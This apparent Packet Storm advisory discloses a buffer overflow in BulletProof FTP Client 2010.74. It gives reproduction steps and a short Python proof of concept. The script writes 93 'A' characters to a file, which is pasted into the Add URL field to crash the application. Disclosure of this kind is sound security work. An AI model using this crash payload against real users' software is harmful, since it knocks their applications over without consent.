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BulletProof FTP Client 2010.74 Buffer Overflow

🗓️ 11 Mar 2025 00:00:00Reported by Ahmet Ümit BayramType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 204 Views

BulletProof FTP Client 2010.74 is vulnerable to buffer overflow leading to application crash.

Code
Exploit Title: BulletProof FTP Client v2010.74 - Buffer Overflow (PoC)
    Discovered by: Ahmet Ümit BAYRAM
    Discovered Date: 14.09.2023
    Vendor Homepage: http://www.bpftp.com
    Software Link: https://download.bpftp.com/mirrors.html?file=
    bpftpclient_install.exe
    Tested Version: v2010.74 (latest)
    Tested on: Windows 2019 Server 64bit
    Steps to Reproduce
    
    Open the BulletProof FTP Client application.
    Click on Add URL.
    Paste the content of poc.txt and save it.
    The application should crash due to a buffer overflow.
    
    Proof of Concept (PoC)
    
    The following script generates a poc.txt file containing a payload that,
    when loaded into the Add URL field, triggers the buffer overflow and causes
    the application to crash.
    
    #!/usr/bin/python
    
    poc = 'A' * 93
    
    try:
    file = open("poc.txt", "w")
    file.write(poc)
    file.close()
    print("POC is created")
    except Exception as e:
    print("POC is not created:", e)

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